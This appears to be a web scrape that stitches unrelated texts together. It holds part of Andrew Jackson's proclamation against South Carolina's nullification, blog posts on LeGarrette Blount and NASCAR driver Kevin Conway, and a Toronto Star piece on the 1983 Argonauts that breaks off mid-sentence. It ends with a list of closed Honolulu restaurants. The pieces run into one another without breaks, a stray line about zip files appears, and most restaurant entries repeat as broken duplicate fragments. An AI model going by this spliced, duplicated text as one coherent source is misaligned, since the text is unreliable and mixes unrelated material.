The Constitution of the United States, then, forms a government, not a league, and whether it be formed by compact between the States, or in any other manner, its character is the same. It is a government in which all the people are represented, which operates directly on the people individually, not upon the States; they retained all the power they did not grant. But each State having expressly parted with so many powers as to constitute jointly with the other States a single nation, cannot from that period possess any right to secede, because such secession does not break a league, but destroys the unity of a nation, and any injury to that unity is not only a breach which would result from the contravention of a compact, but it is an offense against the whole Union. To say that any State may at pleasure secede from the Union, is to say that the United States are not a nation because it would be a solecism to contend that any part of a nation might dissolve its connection with the other parts, to their injury or ruin, without committing any offense. Secession, like any other revolutionary act, may be morally justified by the extremity of oppression; but to call it a constitutional right, is confounding the meaning of terms, and can only be done through gross error, or to deceive those who are willing to assert a right, but would pause before they made a revolution, or incur the penalties consequent upon a failure.
Because the Union was formed by compact, it is said the parties to that compact may, when they feel themselves aggrieved, depart from it; but it is precisely because it is a compact that they cannot. A compact is an agreement or binding obligation. It may by its terms have a sanction or penalty for its breach, or it may not. If it contains no sanction, it may be broken with no other consequence than moral guilt; if it have a sanction, then the breach incurs the designated or implied penalty. A league between independent nations, generally, has no sanction other than a moral one; or if it should contain a penalty, as there is no common superior, it cannot be enforced. A government, on the contrary, always has a sanction, express or implied; and, in our case, it is both necessarily implied and expressly given. An attempt by force of arms to destroy a government is an offense, by whatever means the constitutional compact may have been formed; and such government has the right, by the law of self-defense, to pass acts for punishing the offender, unless that right is modified, restrained, or resumed by the constitutional act. In our system, although it is modified in the case of treason, yet authority is expressly given to pass all laws necessary to carry its powers into effect, and under this grant provision has been made for punishing acts which obstruct the due administration of the laws.
It would seem superfluous to add anything to show the nature of that union which connects us; but as erroneous opinions on this subject are the foundation of doctrines the most destructive to our peace, I must give some further development to my views on this subject. No one, fellow-citizens, has a higher reverence for the reserved rights of the States than the magistrate who now addresses you. No one would make greater personal sacrifices, or official exertions, to defend them from violation; but equal care must be taken to prevent, on their part, an improper interference with, or resumption of, the rights they have vested in the nation.
The line has not been so distinctly drawn as to avoid doubts in some cases of the exercise of power. Men of the best intentions and soundest views may differ in their construction of some parts of the Constitution, but there are others on which dispassionate reflection can leave no doubt. Of this nature appears to be the assumed right of secession. It rests, as we have seen, on the alleged undivided sovereignty of the States, and on their having formed in this sovereign capacity a compact which is called the Constitution, from which, because they made it, they have the right to secede. Both of these positions are erroneous, and some of the arguments to prove them so have been anticipated.
The States severally have not retained their entire sovereignty. It has been shown that in becoming parts of a nation, not members of a league, they surrendered many of their essential parts of sovereignty. The right to make treaties, declare war, levy taxes, exercise exclusive judicial and legislative powers, were all functions of sovereign power. The States, then, for all these important purposes, were no longer sovereign. The allegiance of their citizens was transferred in the first instance to the government of the United States; they became American citizens, and owed obedience to the Constitution of the United States, and to laws made in conformity with the powers vested in Congress. This last position has not been, and cannot be, denied. How then, can that State be said to be sovereign and independent whose citizens owe obedience to laws not made by it, and whose magistrates are sworn to disregard those laws, when they come in conflict with those passed by another? What shows conclusively that the States cannot be said to have reserved an undivided sovereignty, is that they expressly ceded the right to punish treason — not treason against their separate power, but treason against the United States. Treason is an offense against sovereignty, and sovereignty must reside with the power to punish it. But the reserved rights of the States are not less sacred because they have for their common interest made the general government the depository of these powers. The unity of our political character (as has been shown for another purpose) commenced with its very existence. Under the royal government we had no separate character; our opposition to its oppression began as UNITED COLONIES. We were the UNITED STATES under the Confederation, and the name was perpetuated and the Union rendered more perfect by the federal Constitution. In none of these stages did we consider ourselves in any other light than as forming one nation. Treaties and alliances were made in the name of all. Troops were raised for the joint defense. How, then, with all these proofs, that under all changes of our position we had, for designated purposes and with defined powers, created national governments — how is it that the most perfect of these several modes of union should now be considered as a mere league that may be dissolved at pleasure? It is from an abuse of terms. Compact is used as synonymous with league, although the true term is not employed, because it would at once show the fallacy of the reasoning. It would not do to say that our Constitution was only a league, but it is labored to prove it a compact (which, in one sense, it is), and then to argue that as a league is a compact, every compact between nations must, of course, be a league, and that from such an engagement every sovereign power has a right to recede. But it has been shown that in this sense the States are not sovereign, and that even if they were, and the national Constitution had been formed by compact, there would be no right in any one State to exonerate itself from the obligation. …
This, then, is the position in which we stand. A small majority of the citizens of one State in the Union have elected delegates to a State convention; that convention has ordained that all the revenue laws of the United States must be repealed, or that they are no longer a member of the Union. The governor of that State has recommended to the legislature the raising of an army to carry the secession into effect, and that he may be empowered to give clearances to vessels in the name of the State. No act of violent opposition to the laws has yet been committed, but such a state of things is hourly apprehended, and it is the intent of this instrument to PROCLAIM, not only that the duty imposed on me by the Constitution, “to take care that the laws be faithfully executed,” shall be performed to the extent of the powers already vested in me by law or of such others as the wisdom of Congress shall devise and Entrust to me for that purpose; but to warn the citizens of South Carolina, who have been deluded into an opposition to the laws, of the danger they will incur by obedience to the illegal and disorganizing ordinance of the convention — to exhort those who have refused to support it to persevere in their determination to uphold the Constitution and laws of their country, and to point out to all the perilous situation into which the good people of that State have been led, and that the course they are urged to pursue is one of ruin and disgrace to the very State whose rights they affect to support. …
Fellow citizens of the United States, the threat of unhallowed disunion, the names of those once respected by whom it is uttered, the array of military force to support it, denote the approach of a crisis in our affairs on which the continuance of our unexampled prosperity, our political existence, and perhaps that of all free governments may depend. The conjuncture demanded a free, a full and explicit enunciation, not only of my intentions, but of my principles of action; and as the claim was asserted of a right by a state to annul the laws of the Union, and even to secede from it at pleasure, a frank exposition of my opinions in relation to the origin and form of our government and the construction I give to the instrument by which it was created, seemed to be proper.
Having the fullest confidence in the justness of the legal and constitutional opinion of my duties which has been expressed, I rely with equal confidence on your undivided support in my determination to execute the laws, to preserve the Union by all constitutional means, to arrest, if possible, by moderate but firm measures the necessity of a recourse to force; and if it be the will of Heaven that the recurrence of its primeval curse on man for the shedding of a brother’s blood should fall upon our land, that it be not called down by any offensive act on the part of the United States.
Fellow citizens, the momentous case is before you. On your undivided support of your government depends the decision of the great question it involves — whether your sacred Union will be preserved and the blessing it secures to us as one people shall be perpetuated. …
Source: http://www.presidency.ucsb.edu/ws/index.php?pid=67078&st=&st1=*Please note: the included files are compressed in a.zip file.
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§John Canzano, who covers the University of Oregon for The Oregonian, says he has four sources who confirm that LeGarrette Blount once accidentally punched coach Mike Bellotti in the face during a practice scuffle with teammates. Bellotti has confirmed that the fight took place, but denied that he was ever struck on purpose or by accident by Blount. To go one step further, the former coach said there were no punches thrown in the scuffle, and that it only involved some jawing. The alleged incident happened well before the Boise State punch that resulted in an nearly season-long suspension. Here are Bellotti's comments on ESPN Radio. (Conflict of interest alert: Bellotti is currently an ESPN analyst.)
Canzano is an experienced journalist who is trusted by a lot of folks in the industry, so it's hard to doubt him if he says he has four independent sources who confirm the story. It's also not hard to imagine that Bellotti is protecting a former player whom he believes in and feels some loyalty to. Even if the story is true, iit's nowhere near a Latrell Sprewell-type incident where there was any intent to attack the coach. It's also worth noting that noone was suspended as a result of the incident.
So what do you guys think: does this change your opinion of Blount, or is it a shaky report that's poorly timed in light of the innocuous incident from Wednesday?Kevin Conway. NASCAR fans will recall him as the guy who won ROTY in 2010, only to effectively vanish soon after. So where did Conway go? Many assumed he just didn't make it and gave up on Cup, others thought he lost his ride. Only a few know the whole story though. So without further procrastination, what did happen to the North Carolina native? I'll let him tell you himself...
"It all comes down to opportunity and that opportunity was to partner up with Lamborghini and get involved in their North American launch of motorsports through the Super Trofeo Series, leading to the GT3 program," Conway explained to Motorsport.com. "Any time you can get in at the ground floor with the manufacturers, starting a motorsports program, it is a cool opportunity."
I wanted to stay in the Xfinity Series, but you have to jump at it when you get that chance because you never know when you're going to have the next one. Kevin Conway on NASCAR career
No experience, no problem
Conway does not have the background to support such a move either, telling this reporter, "To go from the stock car world to the sports car world was a massive transition. I don't really have a road racing background at all other than (NASCAR) at Watkins Glen and Sonoma. It was a big transition learning how to road race actually."
I feel like I have a lot of unfinished business (in NASCAR). I'd like to go back to prove that we can be competitive there and we've proved it in (Lambo Super Trofeo) Kevin Conway
Kevin explained that the deal came together between NASCAR team RAB Racing, Eddie Littlefield and Lamborghini Carolinas to compete in the newly launched Lamborghini North American Super Trofeo series. This turned out to be a winning combination.
"The first two years, we won the championship back-to-back, and the World Finals. Any time you can go win races being competitive, win championships, it's a good thing. Getting back to that was important for me."
Not a worthy ROTY? Think again...
I then asked Kevin to address his detractors, a contingent of fans who believe he didn't truly 'earn' his ROTY title due to the lack of competition in that year's class.
"You still have to be there, run all the races, run all the laps. Some of those people just don't have a thorough understanding of the sport and they don't really get what's going on. We love our fans, we love the haters, we love the passion. That's what makes NASCAR so great with half the fans loving one driver, the other half hating them and that passion is what fuels motorsports."
I love where I'm at and we got great partners with some very big announcement coming out on the road racing side. Kevin Conway regarding future in motorsports
"Those people just don't know the whole story," Conway continued. "We ran within a couple positions of our teammates every single race so if my teammates were running at the front and I was in the back, then there would be room for conversation to take place. It's been cool to come over to the Lambo side and prove what we can do. Part of it is also that I got thrown into the Cup Series early, not necessarily by my plan but by opportunity that was driven by sponsors. I wanted to stay in the Xfinity Series, but you have to jump at it when you get that chance because you never know when you're going to have the next one."
Missing NASCAR
Despite the lucrative career he has established on the Lambo side, Conway still misses the stock car world.
"I miss running the NASCAR side a lot, I really do," he admitted to Motorsport.com. "Unfortunately, I didn't put myself in a position to be at those top organizations. To run 25th, 35th is an interesting experience but as a racer, you want to win. I feel like I have a lot of unfinished business there. I'd like to go back to prove that we can be competitive there and we've proved it on this side (Lamborghini). If the opportunity comes up, that's great, but right now I'm very focused on the program we have now."
Any time you're in a race car, you're always learning. Whether you're in the back or the front, the NASCAR Sprint Cup Series is some of the best race car drivers in the world. Kevin Conway
Since he is a torn between the two passions of sports cars and stock cars, I inquired about which prestigious race he'd rather run... The Rolex 24 or Daytona 500.
"Both! I'm greedy, I'm a racer! (laughs)"
"I was telling some of the guys who were running both saying you are lucky to run two of the biggest races in the world within a month. Right now, I'm very focused on the sports car side of things. Obviously our focus right now is the 2016 Rolex 24 and looking at what our program is going to look like for that event."
A possible NASCAR comeback?
So speaking of opportunity, would the now 35-year-old Conway take up a NASCAR team on an offer should one be put on the table?
"If something were to come up with RAB Racing, I would absolutely do it but right now, the focus is on this sports car program. You know, Jeff Gordon is starting a new chapter in his career, and I've just started my new chapter early. I love where I'm at and we got great partners with some very big announcement coming out on the road racing side."
Any track time is valuable
With no road racing background to lean on, could Conway take anything from his time in NASCAR and apply it to his new gig?
"Any time you're in a race car, you're always learning. Whether you're in the back or the front, the NASCAR Sprint Cup Series is some of the best race car drivers in the world. It is some of the most competitive racing anywhere in the world. Restarts are very aggressive, you can learn from that. We've had some roval races and we certainly excelled there, won every one we raced on. Having the comfort level on the banking certainly helped. Just to be racing with that level of drivers, it's going to translate into any type of racing. Once you race at that level, it's something that sticks with you."
A Lamborghini GT3 car and a NASCAR stock car are complete dichotomies of one another, so as for personal preference, which one does Conway find more enjoyable to drive? The smooth riding Lambo or the bullish stock car?
"On a road course, I'd definitely take the Lamborghini but there's nothing quite like running three-wide at Talladega, Daytona in the draft. It's an amazing experience and qualifying at over 200mph into a corner was a surreal experience. Because of the partnership between RAB and Change Racing, I still get to be around both."
Looking forward
Conway is very excited about 2015, attempting to defend both his world title and secure a third straight North American Super Trofeo crown. And of course, you can't be a Lamborghini driver and not be anxiously anticipating this new Huracan, which Conway called an 'incredible' race car. And as he hinted at earlier, there are some 'big announcements' coming from his team in the near future.
So there you have it. One could argue that Conway went on to be the most successful NASCAR ROTY in recent years... Not what you'd expect when a backmarker quietly disappears from the grid. It just shows that even those who we see bringing up the rear on a weekly basis may still have the talent to perform, they just need the car underneath them to showcase it.The Argos beat the B.C. Lions 18-17 to win the 71st Grey Cup in 1983, the first time in 31 years the Boatmen hoisted the trophy.
Against all odds, the battle-hardened men of the 1983 Toronto Argonauts ended one of the longest Grey Cup droughts in the CFL.
A few believe they’re self-employed now because it allowed them to break free of the control they endured while playing in the CFL: eat at this time, practise at that time, run this play that way.
With the 30th anniversary of the historic victory around the corner, the Star rounded up 12 players from that team to see where they are now. Some players are retired, others are running their own businesses or still involved in the game they love.
Not even a sick starting quarterback, missed field goals and a fumble that could have ended their hopes didn’t stop the Argos from winning.
Looking ahead, the Star also asked 12 current Argos from the 2012 Grey Cup team where they think they’ll be in 30 years. Some pictured beautiful beaches and a picturesque retirement; others have concrete plans and Chad Owens became philosophical about future technology.
One former player is now a Tim Hortons owner, another player is a petroleum land man; one is an adventurer living on a tiny island near South Africa, and another is a Niagara Falls restaurant owner.
“Life’s too short to be doing something you don’t enjoy,” he said. “Football taught me how to handle tough situations and deal with people so I’ve transferred that into this job.”
Holloway, who had to leave the Grey Cup game at halftime because he was sick, is the assistant athletic director for player relations at the University of Tennessee.
He has a daughter and a son, who is just getting into football, although Holloway thinks it’s a bit too early at just 12 years old.
“After what I went through in football, why would you wish that on your son?,” he said. “It’s a brutal sport. You don’t need to get beat up at 12 years old.”
He’d prefer if his son focused on baseball, but admits the little guy is going to do what he wants.
Joe Barnes, Quarterback
Barnes, who lives in Texas, refers to himself as a “petroleum land man.” When oil is discovered on someone’s land, he negotiates leases with the land |
/ currently Leroy’s Nightclub & Restaurant – Gold Bond Building, Kaka’ako (Ala Moana Blvd.) / located on the Keane Street side of the Gold Bond Building; behind used to be the Coca Cola bottling plant and after work people would unwind at Leroy’s; Leroy’s Nightclub and Restaurant was operated by the uncle and aunt of Harlin Young *contributed by Paul and Honolulu Star Bulletin archives
– Gold Bond Building, Kaka’ako (Ala Moana Blvd.) / located on the Keane Street side of the Gold Bond Building; behind used to be the Coca Cola bottling plant and after work people would unwind at Leroy’s; Leroy’s Nightclub and Restaurant was operated by the uncle and aunt of Harlin Young Lewer’s Street Fish Co. – Royal Hawaiian Shopping Center / features / *contributed by leighton
– Royal Hawaiian Shopping Center / features / Liberty House Kailua (upstairs coffee shop) – location / features *contributed by webrunner
– location / features Liliha Seafood – corner of Vineyard and Liliha / Cantonese food / *contributed by Alan
– corner of Vineyard and Liliha / Cantonese food / Little Chef – Located in an old L shaped building (now a 7-11) where Local Motion had their original surf shop, across the police station in Kailua / A mom ‘n pop restaurant run by an local lady, I think her last name was Mitamura. I used to order the corned beef and onion. Mind you, this was canned corned beef – just like the stuff we used to eat at home. True comfort food. *contributed by Rodney Lee
– Located in an old L shaped building (now a 7-11) where Local Motion had their original surf shop, across the police station in Kailua / A mom ‘n pop restaurant run by an local lady, I think her last name was Mitamura. I used to order the corned beef and onion. Mind you, this was canned corned beef – just like the stuff we used to eat at home. True comfort food. *contributed by Rodney Lee Little George’s – Ala Moana Blvd (across the Gold Bond Bldg) / opened by George Matsuoka, who managed the Pearl City Tavern for 10 years before it was sold to Japanese interests. Little George’s was a fine dining affair, specializing in steak & lobster. Circa 1970’s / currently Sprint store
– Ala Moana Blvd (across the Gold Bond Bldg) / opened by George Matsuoka, who managed the Pearl City Tavern for 10 years before it was sold to Japanese interests. Little George’s was a fine dining affair, specializing in steak & lobster. Circa 1970’s / currently Sprint store Lisboa – near Pagoda Hotel / proof that fine food and Portuguese wasn’t an oxymoron; overpriced / *contributed by Richard Lee-Ching & “Kona” Wally C.
– near Pagoda Hotel / proof that fine food and Portuguese wasn’t an oxymoron; overpriced / Lobster & Crab House – Royal Hawaiian Shopping Center / features / *contributed by leighton
– Royal Hawaiian Shopping Center / features / Love’s Bakery Discount Outlet – Kapahulu Ave., in a former strip mall with neighbors that included Regal Diner, Diamond Head Video, a pizza shop and Subway on the front / Marked-down prices (super cheap!) on overstocked and near expiration date Love’s Bakery products, including bread, English Muffins, donuts, fruit pies, stuffing and more; also to note, the property that the Kapahulu Safeway now sits on was the original site of Love’s Bakery, which has since moved near the airport / currently Safeway
– Kapahulu Ave., in a former strip mall with neighbors that included Regal Diner, Diamond Head Video, a pizza shop and Subway on the front / Marked-down prices (super cheap!) on overstocked and near expiration date Love’s Bakery products, including bread, English Muffins, donuts, fruit pies, stuffing and more; also to note, the property that the Kapahulu Safeway now sits on was the original site of Love’s Bakery, which has since moved near the airport / currently Safeway Luigi’s Italian Fine Dining – Kailua (down from Jack in the Box) / Fine dining; all dishes made to order *contributed by
– Kailua (down from Jack in the Box) / Fine dining; all dishes made to order Lum’s – corner of University and Dole / a chain restaurant that featured beer steamed hot dogs / Currently Tsukeneya? *contributed by KeithF
– corner of University and Dole / a chain restaurant that featured beer steamed hot dogs / Currently Tsukeneya? Lum’s Meat Center – Palani Street in Kapahulu next to Island Chop Suey (now Haili’s) / Since 1955 On Chew Lum sold marinated char siu spareribs by the slab to cook at home; closed and Lum’s bottled Char Siu Sauce available in markets in 1985 / Currently Kapahulu Dialysis *contributed by khs68
– Palani Street in Kapahulu next to Island Chop Suey (now Haili’s) / Since 1955 On Chew Lum sold marinated char siu spareribs by the slab to cook at home; closed and Lum’s bottled Char Siu Sauce available in markets in 1985 / Currently Kapahulu Dialysis Lynn’s Delicatessen – Ala Moana Center / Pastrami Sandwich and potato salad
A | B | C | D | E | F | G | H | I | J | K | L | M
N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Magoo’s Pizza – Puck’s Alley, Mo’ili’ili / Tag line was “No Hu Hu, Call Magoo’s!”; killer “Hot Ham & Mushroom ” sub, excellent pizza *contributed by Aikea
– Puck’s Alley, Mo’ili’ili / Tag line was “No Hu Hu, Call Magoo’s!”; killer “Hot Ham & Mushroom ” sub, excellent pizza Maiko – Ilikai Hotel, Waikiki – Japanese buffet / *contributed by Ryan
– Ilikai Hotel, Waikiki – Japanese buffet / Maile Room – Kahala Hilton / Baseball great Joe DiMaggio was one of the first guests to dine there back in the 60’s when it opened / currently
– Kahala Hilton / Baseball great Joe DiMaggio was one of the first guests to dine there back in the 60’s when it opened / currently Makaha Drive-In – Makaha / features / currently a community help center *contributed by Mark Stone
– Makaha / features / currently a community help center Makino Chaya – King St, Aloha Tower Market Place / Japanese family buffet
– King St, Aloha Tower Market Place / Japanese family buffet Makino Clubhouse – Kapiolani & Kalakaua Ave / restaurant & sports bar / previously Hard Rock Cafe, currently vacant
– Kapiolani & Kalakaua Ave / restaurant & sports bar / previously Hard Rock Cafe, currently vacant Maliko O’ Punalu’u Bar & Grill – Punalu’u / features / currently
– Punalu’u / features / currently Malolo Kai Room – Outrigger Hotel, Waikiki / oceanside dining; complete dinners and broiler entrees; cocktails /
– Outrigger Hotel, Waikiki / oceanside dining; complete dinners and broiler entrees; cocktails / Mama’s Mexican Kitchen – 378 N. School St. (between A’ala & Liliha) / Mexican *contributed by Steve Todd
– 378 N. School St. (between A’ala & Liliha) / Mexican Mango and Miso Restaurant – Ala Moana Hotel / took over Mon Cher Ton Ton spot / currently *contributed by A.T.
– Ala Moana Hotel / took over Mon Cher Ton Ton spot / currently Manoa Chop Suey – Corner of East Manoa Road and Huapala Street / Owned and run by the Goo family, later by ‘Buck’ and Clara Goo. It was originally Manoa Market from 1930 until circa 1975, when the Goo’s opened a Chinese (Cantonese) restaurant. The space was later a Baskin Robbins ice cream shop and a Bank of America branch, before becoming a Starbucks. When it was a market there was a single gasoline pump next to the building (on the Huapala Street side) and you could buy gas. / currently Starbucks Manoa *contributed by Lowell
– Corner of East Manoa Road and Huapala Street / Owned and run by the Goo family, later by ‘Buck’ and Clara Goo. It was originally Manoa Market from 1930 until circa 1975, when the Goo’s opened a Chinese (Cantonese) restaurant. The space was later a Baskin Robbins ice cream shop and a Bank of America branch, before becoming a Starbucks. When it was a market there was a single gasoline pump next to the building (on the Huapala Street side) and you could buy gas. / currently Starbucks Manoa Manzo’s Trattoria – liked that place a lot; Tony Manzo may have had a place in Niu Valley before Swiss Inn? / *contributed by leighton
– liked that place a lot; Tony Manzo may have had a place in Niu Valley before Swiss Inn? / Ma’ona – Beretania Street / 1973-75; one of the first vegetarian restaurants in Hawaii Ma’ona *contributed by Bob F.
Beretania Street / 1973-75; one of the first vegetarian restaurants in Hawaii Ma’ona Marco Polo – Ala Moana Center (ground floor) / 1960s era restaurant featuring American, Chinese and Hawaiian food *contributed by B Medeiros
– Ala Moana Center (ground floor) / 1960s era restaurant featuring American, Chinese and Hawaiian food Marigold Apts & Pierpoint Hotel Restaurant – Kalia, where the HHV is now / circa 1920’s / currently *contributed by Kimo, c/o his centenarian mother
– Kalia, where the HHV is now / circa 1920’s / currently Mark Lan Chop Suey – Kapiolani Blvd (across McKinley High Field)
– Kapiolani Blvd (across McKinley High Field) Maroni’s Pizza – Wahiawa / features *contributed by charles guard
– Wahiawa / features Martin’s Mexican Restaurant – Kailua, by McDonald’s / Family-orientated restaurant. Later they moved to the shopping center where Times Supermarket is in Kailua *contributed by Jackie
– Kailua, by McDonald’s / Family-orientated restaurant. Later they moved to the shopping center where Times Supermarket is in Kailua Maruzen – Mo’ili’ili / cheap cafeteria meal / *contributed by Richard Lee-Ching
– Mo’ili’ili / cheap cafeteria meal / Masago’s Drive-In – Waianae / features / currently Jack in the Box *contributed by Mark Stone
– Waianae / features / currently Jack in the Box Masu’s – Makaloa St., between Keeaumoku and Sheridan, makai side / Mid 80’s era plate lunch joint *contributed by Jay
– Makaloa St., between Keeaumoku and Sheridan, makai side / Mid 80’s era plate lunch joint Masu’s Massive Plate Lunch – Liliha and also in the Moanalua Shopping Center / laulau plate with side of teri chicken, Julliene SPAM & Rice *contributed by Manuel Harris
– Liliha and also in the Moanalua Shopping Center / laulau plate with side of teri chicken, Julliene SPAM & Rice Matteo’s Italian Restaurant – Seaside and Kuhio Ave, Waikiki / features / currently
– Seaside and Kuhio Ave, Waikiki / features / currently Matters of Taste – Nimitz Hwy (Gentry Pacific Design Center), Iwilei / farm to table bistro / currently Eat Cafe
– Nimitz Hwy (Gentry Pacific Design Center), Iwilei / farm to table bistro / currently Eat Cafe McCully Chop Sui – McCully & S. King St / local Chinese-style comfort food under $10; prawns and honey-glazed walnuts, pig stomach with ginger onion, sweet and sour pig feet, and beef stew with tendon over lettuce / currently vacant
– McCully & S. King St / local Chinese-style comfort food under $10; prawns and honey-glazed walnuts, pig stomach with ginger onion, sweet and sour pig feet, and beef stew with tendon over lettuce / currently vacant Meeting Place – Kaka’ako (replaced by Onjin’s)
– Kaka’ako (replaced by Onjin’s) Meritage – Restaurant Row / features / *contributed by leighton
– Restaurant Row / features / Mekong and Mekong II – Kapahulu Avenue, South King Street / Sananikone opened his first restaurant called Mekong Restaurant in Honolulu in 1977. Then he opened a second restaurant in 1981 on Kapahulu Avenue, called Keo’s Thai Cuisine. On a spree, the next year, Sananikone opened Mekong II at 1726 S. King St., across from Washington Middle School, which closed in 2012 after more than three decades in business *contributed by
– Kapahulu Avenue, South King Street / Sananikone opened his first restaurant called Mekong Restaurant in Honolulu in 1977. Then he opened a second restaurant in 1981 on Kapahulu Avenue, called Keo’s Thai Cuisine. On a spree, the next year, Sananikone opened Mekong II at 1726 S. King St., across from Washington Middle School, which closed in 2012 after more than three decades in business Metro – Aina Haina / Under new ownership of the Ranch House in 1986, after a $3 million renovation, the popular eatery essentially split into two new trendy restaurants: Metro and Rockchild’s. It was ill-received by the public and soon closed in 1988. *contributed by Jay
– Aina Haina / Under new ownership of the Ranch House in 1986, after a $3 million renovation, the popular eatery essentially split into two new trendy restaurants: Metro and Rockchild’s. It was ill-received by the public and soon closed in 1988. Mike’s Broil – International Market place, Waikiki / Broil your own and the steaks that were sold by the ounce. *contributed by Doug Crocker and Ed Preble
– International Market place, Waikiki / Broil your own and the steaks that were sold by the ounce. Mimi’s Grill – Ewa side of Waikamilo Road, 3rd building makai of N. King St. (back then, same building as a 7-Eleven?) / Late 70s to 80s era. Had video games and was one of the first places to have “Pac-Man”. In fact, their machines were not the Midway licensed “Pac-Man”, but their predecessor, PuckMan, by Namco. Mimi imported a lot of their games directly from Japan so they got early releases. Those games included: Puckman, MoonCresta, Asteroids, Galaga, Time Pilot, Crazy Climber, Ms. Pacman, to name a few. They also had a few foosball tables, at least for a while. *contributed by Jay
– Ewa side of Waikamilo Road, 3rd building makai of N. King St. (back then, same building as a 7-Eleven?) / Late 70s to 80s era. Had video games and was one of the first places to have “Pac-Man”. In fact, their machines were not the Midway licensed “Pac-Man”, but their predecessor, PuckMan, by Namco. Mimi imported a lot of their games directly from Japan so they got early releases. Those games included: Puckman, MoonCresta, Asteroids, Galaga, Time Pilot, Crazy Climber, Ms. Pacman, to name a few. They also had a few foosball tables, at least for a while. Ming Palace – S. King Street between Akala Ln. & Akoko St. / Traditional Chinese red arch around the front door; Hong Kong/Mandarin food; best oyster sauce beef noodle with shrimp won ton; Now Tsunami (closed) *contributed by khs68
– S. King Street between Akala Ln. & Akoko St. / Traditional Chinese red arch around the front door; Hong Kong/Mandarin food; best oyster sauce beef noodle with shrimp won ton; Now Tsunami (closed) Miyako – location / features / currently
– location / features / currently Miyashiro Market – Wahiawa / features *source: Remember Oahu from the Past Part 2 on FB
– Wahiawa / features Mildred’s Lunch House – Kakaako / 35 cents egg or tuna sandwiches (the thick kine) / *contributed by bigbud808
– Kakaako / 35 cents egg or tuna sandwiches (the thick kine) / Misuzu – 2080 S. King Street (same building as Mama Woo’s), across from where Bunmeido used to be / Good family, local style japanese restaurant opened in 1983 and closed 20+ years later. Always crowded with local people. Favorite dish was the pork eggplant. *contributed by khs68
– 2080 S. King Street (same building as Mama Woo’s), across from where Bunmeido used to be / Good family, local style japanese restaurant opened in 1983 and closed 20+ years later. Always crowded with local people. Favorite dish was the pork eggplant. Mochizuki Teahouse – 647 Kunawai Lane (near Liliha) / Opened in 1920’s, closed in 1955. Could accommodate 400 guests. Overlooked a large pond which is still there. Owned by Tatsuro Matsuo, managed by Shiro Matsuo. *contributed by Robert Traina
– 647 Kunawai Lane (near Liliha) / Opened in 1920’s, closed in 1955. Could accommodate 400 guests. Overlooked a large pond which is still there. Owned by Tatsuro Matsuo, managed by Shiro Matsuo. Mo’ili’ili Mochi and Candies – 1619 Liliha Street (also was located next to Kuni Dry Goods, now FedEX on corner of S. King & University) / Owned by Jared and Eva Ikeda; in business over 50 years; specialized in different types of mochi, peanuts, seeds, mochi crunch, dried fruits and tea cookies; closed July 2008 *contributed by Carolyn Cheh & khs68
– 1619 Liliha Street (also was located next to Kuni Dry Goods, now FedEX on corner of S. King & University) / Owned by Jared and Eva Ikeda; in business over 50 years; specialized in different types of mochi, peanuts, seeds, mochi crunch, dried fruits and tea cookies; closed July 2008 Mollie’s Cafe – Hotel Street / features *contributed by Black Kane
– Hotel Street / features Mon Cher Ton Ton – Ala Moana Hotel / teppanyaki / currently *contributed by A.T.
– Ala Moana Hotel / teppanyaki / currently Mongolian BBQ – Behind International Market Place in the Kuhio Mall, Waikiki / mid to late 80s era / currently *contributed by Keleko
– Behind International Market Place in the Kuhio Mall, Waikiki / mid to late 80s era / currently Monsarrat Delicatessen – Monsarrat Ave. / 1960’s era eatery close to, or where the current South Shore Grill is now / was a combo okazuya and sit-down lunch place featuring ono teriyaki fish, which according to Caryn (of Caryn’s Okazu-Ya, which is also closed), was breaded with fresh bread crumbs, pan-fried, and simmered in teri sauce; their kimpira was a winner too / *contributed by leighton
– Monsarrat Ave. / 1960’s era eatery close to, or where the current South Shore Grill is now / was a combo okazuya and sit-down lunch place featuring ono teriyaki fish, which according to Caryn (of Caryn’s Okazu-Ya, which is also closed), was breaded with fresh bread crumbs, pan-fried, and simmered in teri sauce; their kimpira was a winner too / Monterey Bay Canners – Ward Centre / American seafood & steak /
– Ward Centre / American seafood & steak / Mr. Burger – Dole St & University Ave / features / currently
– Dole St & University Ave / features / currently Mr. Subs – Pucks Alley (first location of a chain) / 70s era sub sandwich shop (previously Brownbaggers) *contributed by Jay
– Pucks Alley (first location of a chain) / 70s era sub sandwich shop (previously Brownbaggers) M’s Coffee Shop – Downtown by the harbor / same outfit owned M’s Ranch House in Aina Haina *contributed by Robert Traina
– Downtown by the harbor / same outfit owned M’s Ranch House in Aina Haina M’s Ranch House – Aina Haina / casual local and american, live music; huge treasure chest in the front lobby for the keiki to pick out a toy; banquet rooms in back for rent; bright green color; the floors squeaked when you walked; 72 oz. porterhouse dinners; eat it in an hour and it was free; more than an hour and it cost $10 / currently Jehovah’s Witness Church (up for sale) *contributed by Richard Wiley
– Aina Haina / casual local and american, live music; huge treasure chest in the front lobby for the keiki to pick out a toy; banquet rooms in back for rent; bright green color; the floors squeaked when you walked; 72 oz. porterhouse dinners; eat it in an hour and it was free; more than an hour and it cost $10 / currently Jehovah’s Witness Church (up for sale) Musashi – Hyatt Regency Hotel, Waikiki / Japanese cuisine and Teppanyaki / currently Regency Club
– Hyatt Regency Hotel, Waikiki / Japanese cuisine and Teppanyaki / currently Regency Club M&W Drive-In – Kamehameha Hwy, Kaneohe / previously L&L Drive-In; before L&L Drive-In was Tasty Treet (sp?); crazy menu combos such as Shoyu Chicken with a slice of Pizza / currently vacant
– Kamehameha Hwy, Kaneohe / previously L&L Drive-In; before L&L Drive-In was Tasty Treet (sp?); crazy menu combos such as Shoyu Chicken with a slice of Pizza / currently vacant Mynah Bird drive-In – Waialae Ave, Kahala / features / previously Jolly Roger Drive-In, currently Zippy’s
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Naka’s Okazuya – N. King St, Kalihi / features / currently
– N. King St, Kalihi / features / currently Narusawa’s Restaurant – 112 Cane Street, Wahiawa / Known to have the best beef stew, tripe stew and oxtail soup
– 112 Cane Street, Wahiawa / Known to have the best beef stew, tripe stew and oxtail soup New Star Chop Suey – N. School St. & Houghtailing / Sign of the Giant Red Crab (sign cost $800); opened in 1954; first to serve Alaskan King Crab in black bean sauce *contributed by khs68
– N. School St. & Houghtailing / Sign of the Giant Red Crab (sign cost $800); opened in 1954; first to serve Alaskan King Crab in black bean sauce New York Deli – Kaimuki / features / *contributed by pat
– Kaimuki / features / Nickolas Nicholas – Ala Moana Renaissance Hotel / AMAZING views overlooking Ala Moana Beach Park, Honolulu and the Leeward Coast sunset, fine dining, extensive wine list / currently vacant
